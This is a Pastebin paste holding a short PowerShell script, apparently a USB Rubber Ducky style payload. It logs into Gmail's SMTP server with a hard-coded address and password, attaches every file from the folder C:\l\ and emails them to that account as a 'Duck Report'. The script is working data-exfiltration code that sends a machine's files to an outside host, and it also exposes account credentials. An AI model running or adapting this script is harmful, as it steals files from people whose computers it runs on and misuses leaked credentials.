SHARE
TWEET

Untitled

a guest Oct 16th, 2019 108 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. $SMTPServer = 'smtp.gmail.com'
  2. $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
  3. $SMTPInfo.EnableSsl = $true
  4. $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('pintest.toll@gmail.com', 'RamirezHanter1');
  5. $ReportEmail = New-Object System.Net.Mail.MailMessage
  6. $ReportEmail.From = 'pintest.toll@gmail.com'
  7. $ReportEmail.To.Add('pintest.toll@gmail.com')
  8. $ReportEmail.Subject = 'Duck Report'
  9. $ReportEmail.Body = 'Attached is your duck report.... Quack'
  10. $files=Get-ChildItem "C:\l\"
  11. Foreach($file in $files)
  12. {
  13. Write-Host “Attaching File :- ” $file
  14. $attachment = New-Object System.Net.Mail.Attachment –ArgumentList C:\l\$file
  15. $ReportEmail.Attachments.Add($attachment)
  16. $SMTPInfo.Send($ReportEmail)
  17. }
  18. write-host "Mail Sent Successfully"
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top